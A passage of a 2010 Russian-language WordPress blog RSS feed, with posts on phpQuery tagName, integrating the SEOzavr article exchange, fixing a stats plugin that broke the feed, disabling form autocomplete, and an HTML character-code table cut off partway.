		<title>Не работает tagName в phpquery ?</title>
		<link>http://saintist.ru/2010/03/16/ne-rabotaet-tagname-v-phpquery/</link>
		<comments>http://saintist.ru/2010/03/16/ne-rabotaet-tagname-v-phpquery/#comments</comments>
		<pubDate>Tue, 16 Mar 2010 18:33:24 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[phpquery]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1045</guid>
		<description><![CDATA[При парсинге страницы зачастую попадаются очень интересные задачи. В основном когда блоки расположены один за другим и у них отсутствуют какие-либо признаки в виде классов и атрибутов, но они формируются разными тегами, например чередование тега p и h1. Основным решением при возникновении такой ситуации является перебор всех блоков и определение имен их тегов. Вроде бы [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2010/03/phpquery.png"><img class="size-full wp-image-1046 aligncenter" title="phpquery" src="http://saintist.ru/wp-content/uploads/2010/03/phpquery.png" alt="" width="48" height="48" /></a></p>
<p>При парсинге  страницы зачастую  попадаются очень интересные задачи. В основном когда блоки  расположены один за другим и у них отсутствуют какие-либо признаки в виде классов и атрибутов, но они формируются разными тегами, например чередование тега <strong>p</strong> и <strong>h1</strong>. Основным решением при возникновении такой ситуации является перебор всех блоков и определение  имен их тегов.<br />
Вроде бы простое решение и все ок! Но <span id="more-1045"></span>если попадается вариант когда первоначально фиксируем позицию заданного элемента по якорю (#more) и от него двигаемся dyfxfkj(<strong>prev()</strong>) либо конец(<strong>next()</strong>) перебирая  элементы и сравнивая их по имени тега, то конструкция</p>
<p><strong>$obJphpQuery-&gt;next()-&gt;tagName;</strong></p>
<p>не работает  так как <strong>tagName </strong>в <strong>phpquery </strong> работает только с объектом  DOM документа а не с объктом phpQuery.</p>
<p>И проверка работает например через <strong>foreach</strong></p>
<p>$obJphpQuery=$obJphpQuery-&gt;next();</p>
<p>foreach($obJphpQuery as $opq){$tagName=$opq-&gt;tagName;}</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/03/16/ne-rabotaet-tagname-v-phpquery/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Интеграция SEOzavr в WordPress</title>
		<link>http://saintist.ru/2010/03/09/integraciya-seozavr-v-wordpress/</link>
		<comments>http://saintist.ru/2010/03/09/integraciya-seozavr-v-wordpress/#comments</comments>
		<pubDate>Tue, 09 Mar 2010 11:47:02 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[SEO]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1032</guid>
		<description><![CDATA[Блоги на wordpress отличное решение для биржи статей SEOzavr , как впрочем и сам WordPress. Интеграция кода SEOzavr в вордпресс довольно проста главное делать все правильно и аккуратно. Что же нужно сделать чтобы интегрировать код SEOzavr в WordPress? Для списка статей с SEOzavr необходимо завести в блоге отдельную страницу, именно страницу а не пост. Все [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.seozavr.ru/index.php?id=27741"><img class="size-full wp-image-1024 aligncenter" title="wordpress_and_seozavr" src="http://saintist.ru/wp-content/uploads/2010/03/wordpress_and_seozavr.jpg" alt="" width="270" height="164" /></a></p>
<p>Блоги на wordpress отличное решение для биржи статей <a href="http://www.seozavr.ru/index.php?id=27741">SEOzavr</a> , как впрочем и сам  WordPress.</p>
<p>Интеграция  кода SEOzavr в вордпресс довольно проста главное делать все  правильно и аккуратно.<br />
<span id="more-1032"></span></p>
<p><strong>Что же нужно сделать чтобы интегрировать код SEOzavr в WordPress?</strong></p>
<p>Для списка статей с SEOzavr необходимо завести в блоге  отдельную страницу, <strong>именно страницу а не пост</strong>.</p>
<p>Все статьи  которые будут приходить с SEOzavr имеют собственные  title keywords n descriptions/ Поэтому если у вашего блога в наличии  SEO плагины  то  для  этой страницы их необходимо либо отключить либо  модифицировать, иначе не сможете добавить  ваш  сайт как площадку в SEOzavr.</p>
<p><strong>Итак  сам процесс интеграции  кода SEOzavr  в WordPress</strong>.</p>
<p><strong>Шаг  1.</strong><br />
При добавлении и новой площадки  вам предлагают скачать  архив <strong>seozavr.zip</strong>. Качаем его и  распаковываем . Внутри лежит папка с  длинным  названием. Копируем ее в корень вашего сайта.</p>
<p><strong>Шаг 2.</strong></p>
<p>Создаем копию  шаблона <strong>header.php</strong> вашей темы  назовем ее <strong>headerseozavr.php</strong></p>
<p>В headerseozavr.php находим вывод  title  description и keydords страницы и  заменяем их на</p>
<div id="_mcePaste">&lt;?php</div>
<div id="_mcePaste">include(&#171;название  папки в архиве сеозавра/seozavr.php&#187;);</div>
<div id="_mcePaste">$seozavr = new seozavr();</div>
<div id="_mcePaste">$seozavr-&gt;encoding= &#8216;utf-8&#8242;;</div>
<div id="_mcePaste">$seozavr-&gt;showHead();</div>
<div id="_mcePaste">?&gt;</div>
<p><strong>$seozavr-&gt;encoding= &#8216;utf-8&#8242;;</strong> &#8212;  кодировка вашего  сайта, скорее всего менять не понадобится</p>
<p><strong>Шаг 3.</strong><br />
Для вывода списка статей SEOzavr   необходимо сделать отдельный шаблон в вашей теме  вордпресс под  страницу SEOzavr  . Берем файл  <strong>page.php</strong> и делаем его копию назвав <strong>pageseozavr.php</strong>.<br />
Открываем его.</p>
<p>В самое начало  добавляем</p>
<p><strong>&lt;?php</strong></p>
<p><strong>/*</strong></p>
<p><strong>Template Name: SEOzavr</strong></p>
<p><strong>*/</strong></p>
<p><strong>?&gt;</strong></p>
<p>Этот код обязателен он  дает понять WordPress что текущий шаблон,  шаблон с и именем SEOzavr и будет использоваться  для генерации определенных  страниц. Ниже будет понятно зачем это.</p>
<p>Далее.</p>
<p>Ищем  get_header();</p>
<p>Заменяем  на <strong>&lt;?php include ( &#8216;headerseozavr.php&#8217;); ?&gt;</strong> т.е. подключаем   шапку для генерации  страницы  под SEOzavr .</p>
<p>Далее  ищем  вывод  контента  в <strong>pageseozavr.php</strong></p>
<p>вот так например <strong>&lt;?php the_content(&#8216;&lt;p class=&#187;serif&#187;&gt;Read the rest of this page &amp;raquo;&lt;/p&gt;&#8217;); ?&gt;</strong></p>
<p>меняем на <strong>&lt;?php $seozavr-&gt;showBody(); ?&gt;</strong></p>
<p><strong>Шаг 4.</strong></p>
<p><strong>Создаем страницу, именно страницу а не пост!</strong></p>
<p>название какое угодно например <strong>Статьи</strong><br />
а  в качестве шаблона страницы выдираем наш шаблон для SEOzavr</p>
<p style="text-align: center;"><img class="size-full wp-image-1034 aligncenter" title="seozavr_code_page" src="http://saintist.ru/wp-content/uploads/2010/03/seozavr_code_page.jpg" alt="" width="288" height="338" /></p>
<p>Публикуем.</p>
<p>Вот и все.</p>
<p>Да и не забудьте что на главной должна быть ссылка на эту страницу.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/03/09/integraciya-seozavr-v-wordpress/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress plugin All in One SEO и SeoZavr</title>
		<link>http://saintist.ru/2010/03/09/wordpress-plugin-all-in-one-seo-i-seozavr/</link>
		<comments>http://saintist.ru/2010/03/09/wordpress-plugin-all-in-one-seo-i-seozavr/#comments</comments>
		<pubDate>Mon, 08 Mar 2010 20:53:00 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[SEO]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1023</guid>
		<description><![CDATA[Биржа статей http://www.seozavr.ru/ отличное решения для заработка на статьях владельцам сайтов. Но вот если ваш сайт на WordPress и у вас установлен такой замечательный плагин как All in One SEO то при добавлении кода биржы возникает заминка, при добавлении площадки выводит сообщение что не найден тайтл пробной статьи по указанному url. Фиксится очень просто. All [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.seozavr.ru/index.php?id=27741"><img class="size-full wp-image-1024 aligncenter" title="wordpress_and_seozavr" src="http://saintist.ru/wp-content/uploads/2010/03/wordpress_and_seozavr.jpg" alt="" width="270" height="164" /></a></p>
<p>Биржа статей <a href="http://www.seozavr.ru/index.php?id=27741">http://www.seozavr.ru/</a> отличное решения для заработка на статьях  владельцам сайтов. Но вот если ваш сайт на WordPress и у вас установлен такой замечательный плагин как <strong>All in One SEO</strong> то при добавлении кода биржы возникает заминка, при добавлении площадки  выводит сообщение что <strong>не найден тайтл  пробной статьи</strong> по указанному url. Фиксится очень просто.<br />
<span id="more-1023"></span><br />
All in One SEO попросту подменяет тайтл страницы который генерируется скриптом сеозавра.</p>
<p>Для исправления подобной заминки необходимо перейти на страницу конфигурации All in One SEO и не забыть убрать галочку  в пункте <strong>Rewrite Titles:</strong></p>
<p style="text-align: center;"><strong></strong><br />
<img class="size-full wp-image-1025 aligncenter" title="wordpress_and_seozavr_rewrite_titles" src="http://saintist.ru/wp-content/uploads/2010/03/wordpress_and_seozavr_rewrite_titles.jpg" alt="" width="188" height="77" /></p>
<p>Но такое решение  отключит  сеопак для  тайтлов всех  постов.</p>
<p>Проще добавить  в <strong>Exclude Pages: </strong> адреса тех  статей где не нужно использовать сеопак<br />
<img src="http://saintist.ru/wp-content/uploads/2010/03/asp_excluded_pages.jpg" alt="" title="asp_excluded_pages" width="574" height="58" class="alignnone size-full wp-image-1043" /></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/03/09/wordpress-plugin-all-in-one-seo-i-seozavr/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>О чем пишут на известных буржуйских блогах, или почему они стали известными?</title>
		<link>http://saintist.ru/2010/03/06/o-chem-pishut-na-izvestnyx-burzhujskix-blogax-ili-pochemu-oni-stali-izvestnymi/</link>
		<comments>http://saintist.ru/2010/03/06/o-chem-pishut-na-izvestnyx-burzhujskix-blogax-ili-pochemu-oni-stali-izvestnymi/#comments</comments>
		<pubDate>Sat, 06 Mar 2010 10:54:57 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[notes]]></category>
		<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1019</guid>
		<description><![CDATA[1. О том как разбогатеть на блогах. Блоги про блоги. Советы и примеры. Партнерские программы, как работать с рекламой, визуальные примеры и т.п. 3. Нишевые блоги. Блог по узкоспециализированной тематике. Пример:реклама хрени, описание всех её видов, достоинств и недостатков, как всеобъемлющий блог по заданной тематике, так и какой-то нишевой подраздел. 4. Блоги лиц ставших популярными [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="size-medium wp-image-1020 aligncenter" title="Как выбрать тему для блога или поста в блоге" src="http://saintist.ru/wp-content/uploads/2010/03/write-blog-300x299.jpg" alt="" width="300" height="299" /></p>
<p>1. О том как разбогатеть на блогах. Блоги про блоги. Советы и примеры. Партнерские программы, как работать с рекламой, визуальные примеры и т.п.<br />
<span id="more-1019"></span></p>
<p>3. Нишевые блоги. Блог по узкоспециализированной тематике. Пример:реклама хрени, описание всех её видов, достоинств и недостатков, как всеобъемлющий блог  по заданной тематике, так и какой-то нишевой подраздел.</p>
<p>4. Блоги лиц ставших популярными после каких-либо проблем (например с законом у Перец Хилтон)</p>
<p>5. Блоги в которых жестко отзываются о чем либо, например о своем бывшем  месте работы (что и стало причиной увольнения <img src='http://saintist.ru/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  ). Таким образом собирая единомышленников.</p>
<p>6. Блоги на которых &#171;спалили тему&#187;, сенсация  не помешает  блогу. Позволяет получать линки с других блогов (сработает только в буржунете по моему, у нас линки ставят если только напомнишь )</p>
<p>7. Размещают списки чего-либо. Рейтинги и Топы. Есть большая аудитория любящая все сравнивать.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/03/06/o-chem-pishut-na-izvestnyx-burzhujskix-blogax-ili-pochemu-oni-stali-izvestnymi/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>отключить автозаполнение форм и полей форм</title>
		<link>http://saintist.ru/2010/02/26/otklyuchit-avtozapolnenie-form-i-polej-form/</link>
		<comments>http://saintist.ru/2010/02/26/otklyuchit-avtozapolnenie-form-i-polej-form/#comments</comments>
		<pubDate>Fri, 26 Feb 2010 12:49:30 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[html]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1007</guid>
		<description><![CDATA[Часто браузер автоматически заполняет поля форм на страницах, это очень удобная функция но порой она только мешает. Например в случае когда занимаешься разработкой. Существует простое решение отключающее автозаполнение полей форм без ковыряния в настройках браузера. Правда не все его знают . При этом все без использования javascript. Нужно всего лишь добавить атрибут форме либо полю. [...]]]></description>
			<content:encoded><![CDATA[<p>Часто браузер  автоматически заполняет  поля форм на страницах, это очень удобная функция но порой она только мешает. Например в случае когда занимаешься разработкой.<br />
Существует простое решение отключающее автозаполнение полей форм  без   ковыряния в настройках браузера. Правда не все его знают <img src='http://saintist.ru/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . При этом все  без использования javascript.<br />
<span id="more-1007"></span></p>
<p>Нужно всего лишь добавить атрибут  форме либо полю.</p>
<p>Атрибут <strong> autocomplete=&#187;off&#187;</strong><br />
соответственно значение <strong>on</strong> включит автозаполнение (значение по умолчанию также зависящее от настроек браузера).</p>
<p>Пример отключения автозаполнения  у формы</p>
<pre>&lt;form method="post" <strong>autocomplete="off"</strong></pre>
<pre>action="http://www.example.com/form.cgi"&gt;
[...]</pre>
<pre>&lt;/form&gt;</pre>
<p>Для всех полей  в форме автозаполнение будет отключено.</p>
<p>если же нужно отключить только у выбранного поля автозаполнение то <strong>autocomplete=&#187;off&#187;</strong> добавляем этому полю</p>
<p>вот так</p>
<p>&lt;input type=&#187;text&#187; autocomplete=&#187;off&#187; value=&#187;"&gt;</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/02/26/otklyuchit-avtozapolnenie-form-i-polej-form/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>rss не работает в wordpress?</title>
		<link>http://saintist.ru/2010/02/20/rss-ne-rabotaet-v-wordpress/</link>
		<comments>http://saintist.ru/2010/02/20/rss-ne-rabotaet-v-wordpress/#comments</comments>
		<pubDate>Sat, 20 Feb 2010 15:01:52 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1003</guid>
		<description><![CDATA[Обратил внимание что подпишись на  rss почему-то не работает корректно. Ругалось на вот такой кусок xml &#60;img style=&#8217;margin:0;padding:0;border:0;&#8217; width=&#8217;1px&#8217; height=&#8217;1px&#8217; src=&#187;http://saintist.ru/wp-content/plugins/mystat/mystat.php?act=time_load&#38;id=47010&#38;rnd=200251568&#8243; /&#62;&#60;/channel&#62; ругалось на синтаксическую ошибку Как видно из кода виновник установленный плагин wordpress mystat, который вставляет свой маркер статистики с rss. Фиксится очень просто: открываем /wp-content/plugins/mystat/mystat.php ищем строку (№475) echo &#171;&#60;img style=&#8217;margin:0;padding:0;border:0;&#8217; width=&#8217;1px&#8217; height=&#8217;1px&#8217; [...]]]></description>
			<content:encoded><![CDATA[<p>Обратил внимание что <a href="http://saintist.ru/feed">подпишись на  rss</a> почему-то не работает корректно. Ругалось на вот такой кусок xml</p>
<p>&lt;img style=&#8217;margin:0;padding:0;border:0;&#8217; width=&#8217;1px&#8217; height=&#8217;1px&#8217; src=&#187;http://saintist.ru/wp-content/plugins/mystat/mystat.php?act=time_load&amp;id=47010&amp;rnd=200251568&#8243; /&gt;&lt;/channel&gt;</p>
<p>ругалось на синтаксическую ошибку</p>
<p><span id="more-1003"></span></p>
<p>Как видно из кода виновник установленный плагин wordpress mystat, который вставляет свой маркер статистики с rss.</p>
<p>Фиксится очень просто: открываем<br />
<strong>/wp-content/plugins/mystat/mystat.php </strong> </p>
<p>ищем строку (№475)</p>
<p><strong>echo &#171;&lt;img style=&#8217;margin:0;padding:0;border:0;&#8217; width=&#8217;1px&#8217; height=&#8217;1px&#8217; src=\&#187;".WP_PLUGIN_URL.&#187;/&#187;.dirname(plugin_basename(__FILE__)).&#187;/mystat.php&#187;.&#187;?act=time_load&amp;id=&#187;.$GLOBALS['myStat_id'].&#187;&amp;rnd=&#187;.rand().&#187;\&#187; /&gt;&#187;;</strong></p>
<p>и заменяем ее на</p>
<p><strong><br />
if(!is_feed()) {echo &#171;<img style='margin:0;padding:0;border:0;' width='1px' height='1px' src=\"".WP_PLUGIN_URL."/".dirname(plugin_basename(__FILE__))."/mystat.php"."?act=time_load&#038;id=".$GLOBALS['myStat_id']."&#038;rnd=".rand()."\" />&#171;;}</strong></p>
<p>т.е. отключаем маркер если идет вывод rss )</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/02/20/rss-ne-rabotaet-v-wordpress/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Таблица HTML кодов, таблица html цветов</title>
		<link>http://saintist.ru/2010/02/15/tablica-html-kodov/</link>
		<comments>http://saintist.ru/2010/02/15/tablica-html-kodov/#comments</comments>
		<pubDate>Mon, 15 Feb 2010 19:41:27 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[html]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=998</guid>
		<description><![CDATA[Очень редко бывает нужна таблица кодов символов html . Надоело постоянно искать в нете, оставляю для себя. Заодно и таблицу html кодов цветов а также таблицу «безопасных» цветов Таблица кодов html Название Символ ASCII Имя Табулятор &#38;#009; Перевод строки &#38;#010; Возврат каретки &#38;#013; Пробел &#38;#032; Восклицательный знак ! &#38;#033; Кавычка &#171; &#38;#034; &#38;quot; Знак решетка [...]]]></description>
			<content:encoded><![CDATA[<p>Очень редко бывает нужна таблица кодов символов html <img src='http://saintist.ru/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> .</p>
<p>Надоело постоянно искать в нете, оставляю для себя.</p>
<p>Заодно и таблицу html кодов цветов а также таблицу «безопасных» цветов<br />
<span id="more-998"></span></p>
<p><strong>Таблица кодов htm</strong>l</p>
<table style="border: 1px solid black;" cellspacing="0" cellpadding="2" align="center" bgcolor="#f5f5f5">
<tbody>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5"><strong>Название</strong></td>
<td height="21" bgcolor="#f5f5f5"><strong>Символ</strong></td>
<td height="21" bgcolor="#f5f5f5"><strong>ASCII</strong></td>
<td height="21" bgcolor="#f5f5f5"><strong>Имя</strong></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Табулятор</td>
<td height="21" bgcolor="#f5f5f5"></td>
<td height="21" bgcolor="#f5f5f5">&amp;#009;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Перевод строки</td>
<td height="21" bgcolor="#f5f5f5"></td>
<td height="21" bgcolor="#f5f5f5">&amp;#010;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Возврат каретки</td>
<td height="21" bgcolor="#f5f5f5"></td>
<td height="21" bgcolor="#f5f5f5">&amp;#013;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Пробел</td>
<td height="21" bgcolor="#f5f5f5"></td>
<td height="21" bgcolor="#f5f5f5">&amp;#032;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Восклицательный знак</td>
<td height="21" bgcolor="#f5f5f5">!</td>
<td height="21" bgcolor="#f5f5f5">&amp;#033;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Кавычка</td>
<td height="21" bgcolor="#f5f5f5">&#171;</td>
<td height="21" bgcolor="#f5f5f5">&amp;#034;</td>
<td height="21" bgcolor="#f5f5f5">&amp;quot;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Знак решетка</td>
<td height="21" bgcolor="#f5f5f5">#</td>
<td height="21" bgcolor="#f5f5f5">&amp;#035;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="20" bgcolor="#f5f5f5">Доллар</td>
<td height="20" bgcolor="#f5f5f5">$</td>
<td height="20" bgcolor="#f5f5f5">&amp;#036;</td>
<td height="20" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Процент</td>
<td height="21" bgcolor="#f5f5f5">%</td>
<td height="21" bgcolor="#f5f5f5">&amp;#037;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Амперсанд</td>
<td height="21" bgcolor="#f5f5f5">&amp;</td>
<td height="21" bgcolor="#f5f5f5">&amp;#038;</td>
<td height="21" bgcolor="#f5f5f5">&amp;amp;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Апостроф</td>
<td height="21" bgcolor="#f5f5f5">&#8216;</td>
<td height="21" bgcolor="#f5f5f5">&amp;#039;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Скобка левая круглая</td>
<td height="21" bgcolor="#f5f5f5">(</td>
<td height="21" bgcolor="#f5f5f5">&amp;#040;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Скобка правая круглая</td>
<td height="21" bgcolor="#f5f5f5">)</td>
<td height="21" bgcolor="#f5f5f5">&amp;#041;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Звездочка</td>
<td height="21" bgcolor="#f5f5f5">*</td>
<td height="21" bgcolor="#f5f5f5">&amp;#042;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Плюс</td>
<td height="21" bgcolor="#f5f5f5">+</td>
<td height="21" bgcolor="#f5f5f5">&amp;#043;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Запятая</td>
<td height="21" bgcolor="#f5f5f5">,</td>
<td height="21" bgcolor="#f5f5f5">&amp;#044;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Минус</td>
<td height="21" bgcolor="#f5f5f5">-</td>
<td height="21" bgcolor="#f5f5f5">&amp;#045;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Точка</td>
<td height="21" bgcolor="#f5f5f5">.</td>
<td height="21" bgcolor="#f5f5f5">&amp;#046;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Косой штрих</td>
<td height="21" bgcolor="#f5f5f5">/</td>
<td height="21" bgcolor="#f5f5f5">&amp;#047;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Цифры</td>
<td height="21" bgcolor="#f5f5f5">0-9</td>
<td height="21" bgcolor="#f5f5f5">&amp;#048;-&amp;#057;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Двоеточие</td>
<td height="21" bgcolor="#f5f5f5">:</td>
<td height="21" bgcolor="#f5f5f5">&amp;#058;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Точка с запятой</td>
<td height="21" bgcolor="#f5f5f5">;</td>
<td height="21" bgcolor="#f5f5f5">&amp;#059;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Меньше</td>
<td height="21" bgcolor="#f5f5f5">&lt;</td>
<td height="21" bgcolor="#f5f5f5">&amp;#060;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Равно</td>
<td height="21" bgcolor="#f5f5f5">=</td>
<td height="21" bgcolor="#f5f5f5">&amp;#061;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Больше</td>
<td height="21" bgcolor="#f5f5f5">&gt;</td>
<td height="21" bgcolor="#f5f5f5">&amp;#062;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Знак вопроса</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#063;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Знак обезьянка</td>
<td height="21" bgcolor="#f5f5f5">@</td>
<td height="21" bgcolor="#f5f5f5">&amp;#064;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Прописные буквы</td>
<td height="21" bgcolor="#f5f5f5">A-Z</td>
<td height="21" bgcolor="#f5f5f5">&amp;#065;-&amp;#090;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Скобка квадратная левая</td>
<td height="21" bgcolor="#f5f5f5">[</td>
<td height="21" bgcolor="#f5f5f5">&amp;#091;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Косой штрих с наклоном вправо</td>
<td height="21" bgcolor="#f5f5f5"></td>
<td height="21" bgcolor="#f5f5f5">&amp;#092;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Скобка квадратная правая</td>
<td height="21" bgcolor="#f5f5f5">]</td>
<td height="21" bgcolor="#f5f5f5">&amp;#093;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Степень</td>
<td height="21" bgcolor="#f5f5f5">^</td>
<td height="21" bgcolor="#f5f5f5">&amp;#094;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Знак подчеркивания</td>
<td height="21" bgcolor="#f5f5f5">_</td>
<td height="21" bgcolor="#f5f5f5">&amp;#095;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Ударение</td>
<td height="21" bgcolor="#f5f5f5">`</td>
<td height="21" bgcolor="#f5f5f5">&amp;#096;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Строчные буквы</td>
<td height="21" bgcolor="#f5f5f5">a-z</td>
<td height="21" bgcolor="#f5f5f5">&amp;#097;-&amp;#122;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Фигурная скобка левая</td>
<td height="21" bgcolor="#f5f5f5">{</td>
<td height="21" bgcolor="#f5f5f5">&amp;#123;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Вертикальный штрих</td>
<td height="21" bgcolor="#f5f5f5">|</td>
<td height="21" bgcolor="#f5f5f5">&amp;#124;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Фигурная скобка правая</td>
<td height="21" bgcolor="#f5f5f5">}</td>
<td height="21" bgcolor="#f5f5f5">&amp;#125;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Тильда</td>
<td height="21" bgcolor="#f5f5f5">~</td>
<td height="21" bgcolor="#f5f5f5">&amp;#126;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Запятая</td>
<td height="21" bgcolor="#f5f5f5">,</td>
<td height="21" bgcolor="#f5f5f5">&amp;#130;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Флорин</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#131;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Кавычка нижняя правая</td>
<td height="21" bgcolor="#f5f5f5">„</td>
<td height="21" bgcolor="#f5f5f5">&amp;#132;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
